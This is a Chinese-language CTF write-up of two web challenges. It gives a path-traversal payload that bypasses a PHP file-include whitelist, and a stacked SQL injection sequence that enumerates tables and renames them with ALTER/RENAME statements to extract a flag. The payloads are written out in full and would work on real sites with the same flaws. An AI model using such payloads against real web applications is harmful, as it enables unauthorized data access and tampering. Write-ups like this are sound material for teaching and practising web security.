0x01 [HCTF 2018]WarmUp
f12看到提示进入source.php,看到代码
分析第一段代码,$page满足whitelist就返回true
进入hint.php,得到提示:flag in ffffllllaaaagggg
分析第二段代码,$_page对应payload的'?'以前的字符串
分析第三段代码,若$_page经过urldecode后满足whitelist就返回true
分析第四段代码,输入正确则保存flag到参数file,否则展示滑稽图片
由此构造payload1:?file=hint.php?/../../../../ffffllllaaaagggg($page取'?'以前是hint.php)
payload1:?file=hint.php%3f/../../../../ffffllllaaaagggg($page urldecode后是hint.php?,再取'?'以前是hint.php)
flag{62088940-057b-490a-bc9b-3f8623d0137e}
0x02 [强网杯 2019]随便注
基本操作
输入1'不回显,输入1' #回显正常,所以存在sql注入
输入1' or '1'='1回显字符,所以是字符型注入,但是没有查询到flag
输入1' order by 1 #回显正常,输入1' order by 2 #回显正常,输入1' order by 3 #回显失败,所以字段数为2
输入1' union select 1,2#回显了正则过滤规则,其中过滤了select,update,delete,drop,insert,where,\.
过滤了这么多词,猜测有堆叠注入。输入1';show databases;#回显正常,所以确实有堆叠注入
输入1';show tables;#回显正常,得到words和1919810931114514两个表
输入1'; show columns from `words`; # 找到id列
输入1'; show columns from `1919810931114514`; # 找到flag列
骚操作
①之所以前面没有查询到flag是因为堆叠注入,当执行查询后,第一条显示查询信息,第二条则将整个1919810931114514表进行删除,而内部查询语句类似 :select id, data from word where id =
②既然他没过滤rename和alter,输入1';RENAME TABLE `words` TO `words2`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;#将表和列改名,从而避免查询失败
③输入1' or '1'='1查询,得到flag{4f217c29-1f20-4169-aff4-bfcfe0de56ba}